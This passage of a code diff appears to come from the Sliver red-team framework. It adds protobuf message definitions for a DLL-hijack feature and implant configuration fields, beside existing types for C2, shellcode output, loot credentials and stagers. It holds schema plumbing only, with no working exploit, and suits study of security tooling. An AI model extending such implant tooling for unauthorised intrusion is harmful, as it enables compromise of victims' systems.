||||
if x != nil {
|
||||
return x.Request
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type DllHijack struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DllHijack) Reset() {
|
||||
*x = DllHijack{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[66]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *DllHijack) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*DllHijack) ProtoMessage() {}
|
||||
|
||||
func (x *DllHijack) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[66]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DllHijack.ProtoReflect.Descriptor instead.
|
||||
func (*DllHijack) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{66}
|
||||
}
|
||||
|
||||
func (x *DllHijack) GetResponse() *commonpb.Response {
|
||||
if x != nil {
|
||||
return x.Response
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var File_clientpb_client_proto protoreflect.FileDescriptor
|
||||
|
||||
var file_clientpb_client_proto_rawDesc = []byte{
|
||||
@@ -4776,8 +4927,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
|
||||
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x73, 0x22, 0xfc, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
|
||||
0x6f, 0x6e, 0x73, 0x22, 0xbc, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
|
||||
0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
|
||||
0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
|
||||
0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
|
||||
0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
|
||||
@@ -4816,7 +4968,10 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32,
|
||||
0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f,
|
||||
0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e,
|
||||
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
|
||||
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f,
|
||||
0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79,
|
||||
0x18, 0x27, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
|
||||
0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18,
|
||||
0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61,
|
||||
0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69,
|
||||
@@ -5252,29 +5407,48 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f,
|
||||
0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65,
|
||||
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73,
|
||||
0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74,
|
||||
0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00,
|
||||
0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12,
|
||||
0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12,
|
||||
0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d,
|
||||
0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a,
|
||||
0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01,
|
||||
0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c,
|
||||
0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f,
|
||||
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43,
|
||||
0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43,
|
||||
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a,
|
||||
0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00,
|
||||
0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52,
|
||||
0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69,
|
||||
0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c,
|
||||
0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12,
|
||||
0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74,
|
||||
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
|
||||
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
|
||||
0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x33,
|
||||
0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65,
|
||||
0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c,
|
||||
0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66,
|
||||
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a,
|
||||
0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18,
|
||||
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63,
|
||||
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e,
|
||||
0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66,
|
||||
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72,
|
||||
0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61,
|
||||
0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69,
|
||||
0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72,
|
||||
0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
|
||||
0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a,
|
||||
0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18,
|
||||
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f,
|
||||
0x6e, 0x73, 0x65, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72,
|
||||
0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49,
|
||||
0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45,
|
||||
0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45,
|
||||
0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a,
|
||||
0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c,
|
||||
0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54,
|
||||
0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e,
|
||||
0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f,
|
||||
0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f,
|
||||
0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d,
|
||||
0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65,
|
||||
0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
|
||||
0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53,
|
||||
0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45,
|
||||
0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a,
|
||||
0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f,
|
||||
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59,
|
||||
0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d,
|
||||
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
|
||||
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -5290,7 +5464,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
|
||||
}
|
||||
|
||||
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 69)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 71)
|
||||
var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(OutputFormat)(0), // 0: clientpb.OutputFormat
|
||||
(StageProtocol)(0), // 1: clientpb.StageProtocol
|
||||
@@ -5362,18 +5536,20 @@ var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(*ExtensionData)(nil), // 67: clientpb.ExtensionData
|
||||
(*Host)(nil), // 68: clientpb.Host
|
||||
(*AllHosts)(nil), // 69: clientpb.AllHosts
|
||||
nil, // 70: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 71: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 72: clientpb.Website.ContentsEntry
|
||||
nil, // 73: clientpb.Host.ExtensionDataEntry
|
||||
(*commonpb.Request)(nil), // 74: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 75: commonpb.Response
|
||||
(*commonpb.File)(nil), // 76: commonpb.File
|
||||
(*DllHijackReq)(nil), // 70: clientpb.DllHijackReq
|
||||
(*DllHijack)(nil), // 71: clientpb.DllHijack
|
||||
nil, // 72: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 73: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 74: clientpb.Website.ContentsEntry
|
||||
nil, // 75: clientpb.Host.ExtensionDataEntry
|
||||
(*commonpb.Request)(nil), // 76: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 77: commonpb.Response
|
||||
(*commonpb.File)(nil), // 78: commonpb.File
|
||||
}
|
||||
var file_clientpb_client_proto_depIdxs = []int32{
|
||||
7, // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
|
||||
0, // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
|
||||
70, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
72, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
0, // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
|
||||
10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
|
||||
11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
|
||||
@@ -5382,50 +5558,52 @@ var file_clientpb_client_proto_depIdxs = []int32{
|
||||
8, // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
|
||||
17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
|
||||
20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
|
||||
74, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
75, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
74, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
75, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
76, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
77, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
76, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
77, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
6, // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
|
||||
8, // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
76, // 17: clientpb.Generate.File:type_name -> commonpb.File
|
||||
74, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
74, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
78, // 17: clientpb.Generate.File:type_name -> commonpb.File
|
||||
76, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
76, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
1, // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
1, // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
76, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
78, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
8, // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
|
||||
74, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
76, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
8, // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
74, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
74, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
74, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
76, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
76, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
76, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
|
||||
6, // 30: clientpb.Event.Session:type_name -> clientpb.Session
|
||||
20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
|
||||
53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
|
||||
56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
|
||||
71, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
72, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
73, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
74, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
|
||||
2, // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
|
||||
3, // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
|
||||
63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
|
||||
4, // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
|
||||
76, // 41: clientpb.Loot.File:type_name -> commonpb.File
|
||||
78, // 41: clientpb.Loot.File:type_name -> commonpb.File
|
||||
64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
|
||||
66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
|
||||
73, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
75, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
|
||||
8, // 46: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
57, // 47: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
57, // 48: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
67, // 49: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
50, // [50:50] is the sub-list for method output_type
|
||||
50, // [50:50] is the sub-list for method input_type
|
||||
50, // [50:50] is the sub-list for extension type_name
|
||||
50, // [50:50] is the sub-list for extension extendee
|
||||
0, // [0:50] is the sub-list for field type_name
|
||||
76, // 46: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
|
||||
77, // 47: clientpb.DllHijack.Response:type_name -> commonpb.Response
|
||||
8, // 48: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
57, // 49: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
57, // 50: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
67, // 51: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
52, // [52:52] is the sub-list for method output_type
|
||||
52, // [52:52] is the sub-list for method input_type
|
||||
52, // [52:52] is the sub-list for extension type_name
|
||||
52, // [52:52] is the sub-list for extension extendee
|
||||
0, // [0:52] is the sub-list for field type_name
|
||||
}
|
||||
|
||||
func init() { file_clientpb_client_proto_init() }
|
||||
@@ -6214,6 +6392,30 @@ func file_clientpb_client_proto_init() {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DllHijackReq); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DllHijack); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
@@ -6221,7 +6423,7 @@ func file_clientpb_client_proto_init() {
|
||||
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
|
||||
RawDescriptor: file_clientpb_client_proto_rawDesc,
|
||||
NumEnums: 5,
|
||||
NumMessages: 69,
|
||||
NumMessages: 71,
|
||||
NumExtensions: 0,
|
||||
NumServices: 0,
|
||||
},
|
||||
|
||||
@@ -60,6 +60,8 @@ enum OutputFormat {
|
||||
}
|
||||
|
||||
message ImplantConfig {
|
||||
string ID = 100;
|
||||
|
||||
string GOOS = 1;
|
||||
string GOARCH = 2;
|
||||
string Name = 3;
|
||||
@@ -83,6 +85,7 @@ message ImplantConfig {
|
||||
// c2
|
||||
repeated ImplantC2 C2 = 10;
|
||||
repeated string CanaryDomains = 11;
|
||||
string ConnectionStrategy = 39;
|
||||
|
||||
bool LimitDomainJoined = 20;
|
||||
string LimitDatetime = 21;
|
||||
@@ -521,4 +524,19 @@ message Host {
|
||||
|
||||
message AllHosts {
|
||||
repeated Host Hosts = 1;
|
||||
}
|
||||
}
|
||||
|
||||
// [ Dll Hijack ] ----------------------------------------
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v3.17.3
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v3.17.3
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
@@ -350,8 +350,8 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
